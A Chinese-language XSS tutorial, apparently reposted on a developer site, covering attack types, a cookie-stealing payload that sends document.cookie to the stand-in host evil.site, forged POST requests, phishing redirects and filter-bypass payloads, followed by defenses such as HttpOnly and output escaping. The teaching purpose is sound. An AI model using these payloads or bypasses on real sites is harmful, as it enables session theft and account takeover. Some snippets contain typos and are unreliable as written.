XSS跨站腳本攻擊詳解

一、XSS攻擊簡介

  1. 跨站腳本攻擊的英文全稱是Cross-Site Scripting,為了與CSS有所區別,因此縮寫為“XSS”
  2. 由于同源策略的存在,攻擊者或者惡意網站的JavaScript代碼沒有辦法直接獲取用戶在其它網站的信息,但是如果攻擊者有辦法把惡意的JavaScript代碼注入目標網站的頁面中執行,他就可以直接訪問頁面上的信息,或者發送請求與服務端交互,達到跨域訪問的目的,這便是XSS攻擊。
  3. XSS攻擊本質上是一種注入類型的攻擊
    1. 在正常情況下,Web應用只會執行應用內預定義的JavaScript代碼來實現應用自身的功能;
    2. 如果應用對外部輸入參數處理不當,攻擊者可將惡意JavaScript代碼注入當前Web頁面,一旦受害者訪問這些頁面,攻擊者注入的惡意代碼就將開始執行。
    3. 最開始,這種攻擊是讓目標站點加載另一個惡意站點的腳本,因此稱為“跨站腳本”攻擊,但是后來這個定義的范圍逐漸擴展,凡是可以往目標站點注入腳本的攻擊行為都可以稱為跨站腳本攻擊。
  4. 當外部惡意代碼被注入正常應用的頁面后,瀏覽器無法區分它是應用自身的代碼還是外部注入的代碼,這些惡意代碼擁有與當前頁面正常JavaScript腳本一樣的權限,例如讀/寫Cookie、讀/寫頁面內容、發送HTTP請求,因此XSS攻擊能實現非常強大的攻擊操作,如竊取會話密鑰憑證信息、讀取網頁上的敏感數據、以受害者身份執行惡意操作等。

二、XSS攻擊基礎類型介紹

2.1 與服務端應用的處理邏輯相關聯的XSS攻擊

2.1.1 反射型XSS攻擊

  1. 反射型XSS攻擊是最常見的一種XSS攻擊類型。
  2. 反射型XSS攻擊指的是:服務端應用在收到客戶端的請求后,未對請求中的參數做合法性校驗或安全過濾,直接將參數用于構造HTML頁面并返回給瀏覽器顯示。如果參數中包含惡意腳本,就會以HTML代碼的形式被返回給瀏覽器執行。因此,這一類攻擊被稱為反射型XSS攻擊(Refleced XSS)。舉例如下
    1. 在做查詢時,用戶需要提交查詢關鍵詞,而這個關鍵詞又顯示在查詢結果頁面中,如果服務端應用未對關鍵詞做相應的安全校驗和過濾,則可能存在XSS漏洞。
  3. 最常見的反射型XSS攻擊方式是:攻擊者將惡意代碼包含在URL參數中,但是攻擊者需要誘導受害者“點擊”這個惡意URL,攻擊才能成功。
  4. 反射型XSS攻擊也叫做“非持久型XSS(Non-Persistent XSS)攻擊”,因為用于攻擊的Payload沒有持續存儲在服務端應用中,每次實施攻擊時都需要讓受害者訪問帶Payload的URL。

2.1.2 存儲型XSS攻擊

  1. 在存儲型XSS攻擊中,服務端應用將攻擊者提交的惡意代碼存儲在服務端,受害者每次訪問一個“干凈”的URL時,服務端就在響應頁面中嵌入之前存儲的惡意代碼,這些惡意代碼將在受害者客戶端執行。
  2. 由于不需要受害者的請求中夾帶惡意代碼,因此這種XSS攻擊更加穩定,危害性也更大。存儲型XSS攻擊舉例如下
    1. 假設一個博客系統存在存儲型XSS漏洞;
    2. 攻擊者撰寫一篇包含惡意JavaScript代碼的博客文章并發表至博客系統;
    3. 待包含惡意JavaScript代碼的文章發表之后,所有訪問了該博客文章的用戶,其瀏覽器都會執行這段惡意的JavaScript代碼,攻擊者便順利實施了存儲型XSS攻擊。
  3. 存儲型XSS攻擊通常也叫做“持久型XSS(Persistent XSS)攻擊”,因為一旦惡意代碼被植入,在服務端清除惡意代碼或修復相關功能之前,其攻擊效果都是持續存在的。

2.2 與前端處理邏輯相關聯的XSS攻擊

2.2.1 基于DOM的XSS攻擊

  1. 正常應用中的JavaScript代碼可以接受外部的輸入數據并直接在客戶端渲染執行,如果處理不當,它就有可能將外部數據當作JavaScript代碼來執行,因而產生XSS漏洞。
  2. 基于DOM的XSS攻擊定義:客戶端的JavaScript腳本在修改和構造當前頁面的DOM節點時觸發惡意代碼執行而非“服務端直接返回惡意代碼給客戶端執行”,這種攻擊方式叫做基于DOM的XSS攻擊,下面舉例說明
<div id="URL"></div>
<script>document.getElementById('URL').innerHTML = decodeURI(location.href); //location.href用于返回當前顯示的文檔的URL
</script>
//構造的當前頁面的URL如下:
http://localhost:8000/domxss.html?<img src=0 onerror="alert("XSS")">
//因此,受害者訪問該URL后,由于載入圖像失敗,因此觸發onerror事件,執行URL中指定的JavaScript彈窗代碼(彈窗中顯示“XSS”)。
  1. 上述案例與反射型XSS有本質區別
    1. 再次強調!反射型XSS能成功是因為:服務端對客戶端輸入的數據處理存在邏輯漏洞;
    2. 基于DOM的XSS攻擊能成功是因為:前端JavaScript代碼存在漏洞而非服務端程序的漏洞。如上述案例中,document.getElementById('URL').innerHTML = decodeURI(location.href);代碼將本文檔的URL嵌入到HTML頁面中,卻并沒有考慮URL本身的安全性,這便是一個前端JavaScript代碼的漏洞,因而給基于DOM的XSS攻擊提供了機會。

2.3 利用社會工程學的XSS攻擊

2.3.1 Self-XSS攻擊

  1. Self-XSS嚴格來說不算是Web應用漏洞,因為攻擊者沒有辦法直接將惡意代碼注入頁面,而是利用社會工程學欺騙用戶,讓用戶自己去復制惡意代碼并粘貼到瀏覽器中,因此被稱為Self-XSS攻擊。

三、XSS攻擊進階

3.1 XSS Payload簡介

  1. 我們將攻擊者植入的惡意代碼稱為XSS Payload,本質上,它就是一段JavaScript代碼,且由于XSS Payload和應用自身的JavaScript代碼在同一個執行環境中,所以正常應用能做的事情都能通過XSS Payload實現。
  2. 最常見的XSS Payload是通過讀取瀏覽器的Cookie對象從而發起“Cookie劫持”攻擊。
    1. Web應用通常使用Cookie作為用戶的身份憑證;
    2. 如果一個用戶的Cookie被攻擊者獲取,意味著攻擊者獲取了該用戶的身份,即攻擊者無需使用賬號和密碼,直接通過Cookie就可以登陸用戶的賬戶
  3. 在之前的實例中,payload是直接寫在URL中的,為了實現更為復雜的攻擊邏輯,可以將payload放在一個JavaScript文件中,然后通過< script >標簽載入,這樣就能避免在URL的參數中寫入大量的JavaScript代碼,示例如下
//構造的URL
'http://localhost:8000/echo.php?name=<script src="http://evil.site/evil.js"></script>'//evil.js文件
var img = new Image();  //使用new關鍵字實例化一個Image對象并使用“img”名稱指代該實例。
img.src = 'http://evil.site/log?cookie=' + encodeURIComponent(document.cookie);
/*
目標:獲取“受害者在當前前端頁面中的cookie信息”
1. 受害者訪問攻擊者構造的URL;
2. 受害者瀏覽器接收到服務端發回的HTML源碼,由于受害者前端頁面JavaScript代碼存在漏洞(如:將URL作為HTML中內容返回),因此攻擊者構造的URL被嵌入受害者前端HTML頁面中,又由于攻擊者構造的URL中存在JavaScript代碼,因此受害者瀏覽器執行該惡意代碼;
3. URL中的<script>標簽指定使用的JavaScript代碼來自http://evil.site/evil.js;
4. http://evil.site/evil.js文件中,JavaScript代碼在受害者前端頁面中構造了一個Image實例,同時將獲取該圖像數據的源指定為惡意站點evil.site;
5. 在受害者的前端頁面試圖向攻擊者指定的惡意站點索要圖像數據時,惡意JavaScript代碼要求受害者必須攜帶受害者當前前端頁面的cookie信息;
6. 受害者前端執行該惡意JavaScript代碼后,惡意站點成功獲取受害者在當前前端頁面中的cookie信息;
7. 攻擊者獲取Cookie后,便可以受害者的身份訪問目標應用;
*/

3.2 強大的XSS Payload使用

3.2.1 構造GET和POST請求

  1. 通過JavaScript發送GET請求
    1. 最簡單的辦法是創建Image對象,將其src屬性指定為目標URL,這樣瀏覽器獲取圖像時就在當前頁面發送了GET請求。
  2. 通過JavaScript發送POST請求
    1. 使用JavaScript創建一個表單對象,填充表單中的字段,然后提交表單即可,示例如下
//下面的JavaScript代碼作用:通過POST請求方式刪除id=123的博客文章
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://blog.example.com/del';
document.body.appendChild(form);
/*
Node.appendChild() 方法將一個節點附加到指定父節點的子節點列表的末尾處。如果將被插入的節點已經存在于當前文檔的文檔樹中,那么 appendChild() 只會將它從原先的位置移動到新的位置(不需要事先移除要移動的節點)。
*/
var li = document.createElement("input"); //<li>列表項元素
li.name = 'id'; //id參數用于指定博客文章的id
li.value = '123';
form.appendChile(li);
form.submit();

3.2.2 XSS釣魚

  1. 在一個域名為可信域的URL中嵌入跳轉至惡意網站的JavaScript代碼。
  2. 假設example.com為可信域,evil.site為惡意網站,可以構造URL為http://example.com/echo.php?name=<script>window.location='http://evil.site/';</script>

3.2.3 XSS攻擊平臺

  1. BeEF平臺:XSS攻擊平臺

四、XSS蠕蟲

待補充

五、XSS攻擊技巧

5.1 基本的變形

  1. 部分Web可能做了一定的安全過濾工作,但在很多場景中的安全過濾不夠完善,對XSS Payload進行簡單的變形就可能繞過防御機制。
  2. 常見的變形方式
    1. 更改字母的大小寫
      1. HTML對標簽的大小寫不敏感,因此< script >或< ScRiPT >都是正確的語法,可用于繞過“僅僅簡單過濾掉< script >標簽”這類規則。
    2. 填充空白字符(如空格、制表符、換行),可用于繞過“僅僅簡單過濾掉< script >標簽”這類規則。
    3. 有的過濾函數只是將< script >等9字符串刪除掉,因此我們可以構造類似<sc<script>ript>...</scr<script>ipt>這樣的惡意代碼來繞過該過濾機制。

5.2 事件處理程序

  1. 很多HTML節點都可以綁定事件處理程序,構造不同的HTML標簽并嘗試使用不同的事件處理程序,可以繞過一些過濾不嚴格的安全防御機制。
  2. 下屬攻擊能用的前提是后端PHP中沒有對字符如“src”、“onfunction”等的過濾機制。
<img src=0 onerror="alert(document.cookie);"> //加載圖片失敗時觸發onerror事件
<object onerror=alert(document.domain)>
<input onfocus=alert(document.domain)>
<video src=0 onerror=alert(document.domain)>
<svg onload=alert(document.domain)>

5.3 JavaScript偽協議

5.3.1 JavaScript偽協議定義

  1. 偽協議不同于因特網上所真實存在的協議,如http://,https://,ftp://,而是為關聯應用程序而使用的,如:tencent://(關聯QQ),data:(用base64編碼來在瀏覽器端輸出二進制文件),還有就是javascript:。
  2. 我們可以在瀏覽器地址欄里輸入"javascript:alert('JS!');",點擊跳轉后會發現,實際上瀏覽器是把javascript:后面的代碼當JavaScript來執行,并將結果值返回給當前頁面。

5.3.2 JavaScript偽協議使用

  1. 瀏覽器可以接受內聯的JavaScript代碼作為URL,因此在“需要指定URL”的標簽屬性中,可以嘗試構造一個JavaScript偽協議的URL來執行JavaScript代碼,舉例如下:
/*
<a>標簽定義超鏈接,用于從一個頁面鏈接到另一張頁面。最重要的屬性是href屬性,它指示鏈接的目的地。當用戶點擊<a>標簽內的內容時,瀏覽器會嘗試檢索并顯示href屬性指定的URL所表示的文檔,或者執行JavaScript表達式、方法和函數的列表。如果href屬性不存在,<a>標簽將不會被視為超鏈接。
*/
<a href=javascript:alert(1)>Click me</a>
<iframe src=javascript:alert(2)></iframe> //iframe嵌入目標URL頁面
  1. 一些安全功能可能會過濾掉JavaScript偽協議,因此可以嘗試在關鍵詞中插入空白字符繞過檢測,舉例如下
<a href="java#13script&#9:alert(document.domain)">Click me</a>
  1. 還有一種開發人員常犯的錯誤:在檢驗URL的合法性時只校驗host是否為合法域名,而沒有校驗協議類型,在這種場景中,也可以繞過校驗實現XSS攻擊,舉例如下:
javascript://example.com/%0d%0aalert(1)
//注意:"%0d","%0a"分別是回車符、換行符的編碼
//因此,“//example.com/”被當作JavaScript代碼的注釋,所以整個代碼都是合法且可以正常執行的(可以自己在瀏覽器地址欄中輸入嘗試)。

5.4 編碼繞過

  1. 一些不太完善的防御方案,是通過過濾不安全的函數名,或者檢測可以的字符串來做攻擊檢測的。
  2. 在JavaScript中可以通過動態構造字符串或者使用八進制編碼,來繞過靜態特征過濾。

5.5 繞過長度限制

  1. 最好的辦法是把XSS Payload寫到別處,再通過簡短的代碼加載這段XSS Payload。

5.6 使用< base >標簽

  1. < base >標簽的作用是定義頁面上的所有使用“相對路徑”標簽的host地址,舉例如下
<base href="http://www.gogle.com" />
<img src="/init//en_All/images/logolw.png" />
//這個<base>標簽將指定其后的標簽默認從"http://www.gogle.com"取host域名
//如果攻擊者在頁面中插入了<base>標簽并指定域名為惡意站點,就可以在遠程服務器上偽造數據,劫持當前頁面中所有使用“相對路徑”的標簽。

5.7 window.name的妙用

  1. 如果在當前頁面中將較長的Payload寫在window.name屬性中,然后跳轉到下一個頁面,將這個Payload讀取出來執行,就可以實現Payload的跨域傳遞。

六、JavaScript框架

  1. JavaScript開發框架可以快速簡潔地完成前端開發,但如果開發者使用不當,也可能產生XSS漏洞。一般來說,JavaScript框架產生的XSS漏洞都是DOM類型的。

七、XSS攻擊的防御

7.1 HttpOnly

  1. HttpOnly作用:讓該cookie只能用于HTTP/HTTPS傳輸,使得客戶端JavaScript腳本無法讀取cookie,這在一定程度上減少了XSS漏洞帶來的危害。
  2. PHP在配置文件中開啟會話Cookie的HttpOnly屬性:session.cookie_httponly=On
  3. 雖然使用HttpOnly能在一定程度上防止會話劫持,但在XSS攻擊中,惡意腳本同樣可以在不知道用戶Cookie的情況下完成竊取用戶信息或模擬用戶發送HTTP請求,因此防御XSS攻擊不能僅靠HttpOnly屬性,仍需要更加成熟的解決XSS漏洞的方案。

7.2 輸入過濾

7.3 輸出轉義

  1. 既然參數在輸入時做全局過濾和轉義存在各種問題,那么就應該在輸出變量時根據不同場景有針對性地編碼或轉義。

7.3.1 HTML轉義

  1. 最常見的變量輸出場景是該變量用于構造HTML頁面,這里有兩種情況:一種是變量作為HTML標簽的屬性值;另一種是變量作為標簽的內容。
<input name="name" value="$value"> //變量作為屬性值
/*
當變量作為屬性值時,雙引號必須轉義,否則變量里含有雙引號會將屬性提前閉合。另外,單引號也要轉義,因為屬性值用單引號包圍也是合法的。
*/
<p>$value</p> //變量作為標簽內容
/*
當變量作為標簽內容時,必須讓變量以文本形式顯示,而不能引入其他HTML標簽。
因此,通過對輸入的“>”、“<”字符轉義,這樣就不會產生新標簽了。
*/
  1. 因為HTML轉義是將字符轉換成“&xx”的形式,如雙引號轉義成“&quot;”。如果變量的原始內容就包含了“&quot;”這六個字符,那么輸出到HTML頁面上時,這六個字符將被反轉義并顯示成雙引號,內容發生了變化,從而產生漏洞。為了避免上述產生的問題,因此“&”字符也需要轉義處理。

    需要轉移的字符

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/91420.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/91420.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/91420.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux /proc/目錄詳解

文章目錄前言文件說明注意事項前言 在 Linux 系統中&#xff0c;/proc 目錄是一個特殊的虛擬文件系統&#xff0c;它提供了對系統內核和進程的訪問。/proc 目錄中的文件和目錄不是真實存在的&#xff0c;它們是在運行時由內核動態生成的&#xff0c;用于提供系統和進程的相關信…

北斗變形監測在地質災害監測中的應用

內容概要 北斗形變監測系統在地質災害監測領域發揮著核心作用&#xff0c;該系統基于北斗衛星導航技術&#xff0c;實現對地表變形的精確追蹤。通過毫米級精度定位能力&#xff0c;北斗形變監測技術為滑坡等災害提供關鍵數據支撐&#xff0c;尤其在偏遠地區應用中&#xff0c;單…

2025新征程杯全國54校園足球錦標賽在北京世園公園隆重開幕

2025年8月1日&#xff0c;備受矚目的2025新征程杯全國54校園足球錦標賽&#xff08;北京&#xff09;在北京世園公園盛大拉開帷幕。開幕式上&#xff0c;中國關心下一代健康體育基金會副秘書長、中國青少年研究會理事、全國 54 校園足球人才培養計劃創始人何占強主任表示&#…

分類預測 | Matlab實現CPO-PNN冠豪豬算法優化概率神經網絡多特征分類預測

分類預測 | Matlab實現CPO-PNN冠豪豬算法優化概率神經網絡多特征分類預測 目錄分類預測 | Matlab實現CPO-PNN冠豪豬算法優化概率神經網絡多特征分類預測分類效果基本介紹程序設計分類效果 基本介紹 1.Matlab實現CPO-PNN冠豪豬算法優化概率神經網絡多特征分類預測&#xff0c;運…

機器學習——邏輯回歸(LogisticRegression)的核心參數:以約會數據集為例

理解 LogisticRegression 的核心參數&#xff1a;以約會數據集為例 邏輯回歸&#xff08;Logistic Regression&#xff09;是機器學習中一種基礎且重要的分類算法&#xff0c;特別適用于解決二分類和多分類問題。本文將基于 sklearn.linear_model.LogisticRegression 的用法&a…

深入解析 Apache Flink FLIP-511:優化 Kafka Sink 事務處理,減輕 Broker 負載

一、 背景與核心問題&#xff1a;Kafka Sink 事務的痛點 Flink Kafka Sink 在 Exactly-Once 模式下依賴 Kafka 事務來確保數據寫入的原子性&#xff0c;并與 Flink 檢查點對齊。然而&#xff0c;非優雅關閉&#xff08;如任務失敗、非 stop-with-savepoint 的停止&#xff09;會…

設計模式:組合模式 Composite

目錄前言問題解決方案結構代碼前言 組合是一種結構型設計模式&#xff0c;你可以使用它將對象組合成樹狀結構&#xff0c;并且能像使用獨立對象一樣使用它們。 問題 如果應用的核心模型能用樹狀結構表示&#xff0c; 在應用中使用組合模式才有價值。 例如&#xff0c; 你有兩…

嵌入式 C 語言入門:函數封裝與參數傳遞學習筆記 —— 從定義到內存機制

前言 大家好&#xff0c;這里是 Hello_Embed。在前一篇筆記中&#xff0c;我們用循環實現了 LED 閃爍&#xff0c;其中重復使用了兩段幾乎一樣的延時代碼&#xff1a; for(i 0; i < 100000000; i); // 延時這種重復不僅讓代碼冗余&#xff0c;還不利于后續修改&#xff08…

第一個大語言模型的微調

模型推理 現在,我們的模型應該能夠針對輸入的任何短句生成類似尤達大師風格的句子作為回應。 該模型要求其輸入格式規范。我們需要構建一個 “消息” 列表 —— 在這個案例中,就是來自用戶的消息 —— 并通過提示表明輪到模型進行輸出,以促使其做出回答。 add_generation…

Linux內核驅動開發核心問題全解

&#x1f4d6; 推薦閱讀&#xff1a;《Yocto項目實戰教程:高效定制嵌入式Linux系統》 &#x1f3a5; 更多學習視頻請關注 B 站&#xff1a;嵌入式Jerry Linux內核驅動開發核心問題全解 本文系統梳理了 Linux 驅動開發、內核同步、中斷處理、內存管理、進程通信、系統啟動等典型…

【C++篇】C++11入門:踏入C++新世界的大門

文章目錄C11簡介列表初始化1. {}初始化2. initializer_list容器initializer_list的使用場景聲明1. auto2. decltype3. nullptrSTL中的變化1. 新容器array容器forward_list容器unordered_map和unordered_set容器2. 新接口C11簡介 C98/03&#xff1a;在2003年C標準委員會曾經提交…

Java 日期時間處理:分類、用途與性能分析

Java提供了多種日期時間處理API&#xff0c;隨著版本演進不斷改進。以下是主要日期時間類的分類、用途和性能分析&#xff1a;一、Java日期時間API分類1. 傳統日期時間API (Java 1.0/1.1)java.util.Date - 表示特定的瞬間&#xff0c;精確到毫秒java.util.Calendar - 抽象類&am…

[Linux]學習筆記系列 --GCC

文章目錄屬性__cleanup__attribute_malloc__ 用于標記函數返回一個新分配的內存塊__attribute_alloc_size__ 用于指定分配的內存大小__attribute__((const)) 標記為純函數(pure function)__attribute__((__externally_visible__)) 使其在編譯器優化過程中保持對外部模塊的可見性…

【龍澤科技】汽車維護與底盤拆裝檢修仿真教學軟件【風光580】

產品簡介汽車維護與底盤拆裝檢修仿真教學軟件是依托《全國職業院校技能大賽》“汽車維修”賽項中“汽車維護與底盤拆裝檢修模塊”競賽模塊&#xff0c;自主開發的一款仿真教學軟件。軟件采用仿真仿真技術模擬實際汽車維修工的崗位技能操作流程&#xff0c;操作內容主要包括&…

Spring之【循環引用】

目錄前置知識SingletonBeanRegistryDefaultSingletonBeanRegistrySpring中處理循環引用的流程分析定義兩個具有循環引用特點的Bean執行A的實例化執行A的屬性填充(執行過程中發現A依賴B&#xff0c;就去執行B的實例化邏輯)執行B的實例化執行B的屬性填充執行B的初始化執行A的屬性…

LRU緩存淘汰算法的詳細介紹與具體實現

LRU&#xff08;Least Recently Used&#xff0c;最近最少使用&#xff09;是一種基于時間局部性原理的緩存淘汰策略。其核心思想是&#xff1a;最近被訪問的數據在未來更可能被再次使用&#xff0c;而最久未被訪問的數據應優先被淘汰&#xff0c;從而在有限的緩存空間內保留高…

JS-第十九天-事件(一)

一、事件基礎概念1.1 事件三要素事件源&#xff1a;觸發事件的元素事件類型&#xff1a;事件的種類&#xff08;如click、mouseover等&#xff09;事件處理程序&#xff1a;響應事件的函數1.2 事件流機制事件傳播分為三個階段&#xff1a;捕獲階段&#xff1a;事件從頂層開始&a…

Matplotlib(三)- 圖表輔助元素

文章目錄一、圖表輔助元素簡介二、坐標軸的標簽、刻度范圍和刻度標簽1. 坐標軸標簽1.1 x軸標簽1.2 y軸標簽1.3 示例&#xff1a;繪制天氣氣溫折線圖2. 刻度范圍和刻度標簽2.1 刻度范圍2.1.1 x軸刻度范圍2.1.2 y軸刻度范圍2.2 刻度標簽2.2.1 x軸刻度標簽2.2.2 y軸刻度標簽2.3 示…

【Linux基礎知識系列】第七十八篇 - 初識Nmap:網絡掃描工具

在網絡管理和安全領域&#xff0c;網絡掃描是一個不可或缺的工具。它可以幫助網絡管理員了解網絡中的設備、服務以及潛在的安全漏洞。Nmap&#xff08;Network Mapper&#xff09;是一個功能強大的開源網絡掃描工具&#xff0c;它能夠快速發現網絡中的主機、端口和服務&#xf…

EasyGBS的兩種錄像回看

EasyGBS 支持兩種錄像回看&#xff0c;即“平臺端”的錄像回看和“設備端”的錄像回看。本期我們來介紹兩者的區別和使用方法。一、平臺端錄像1、什么是平臺端錄像平臺端錄像是指由 EasyGBS 平臺直接錄制并存儲。2、配置平臺端錄像進入平臺&#xff0c;依次點擊【錄像回放】→【…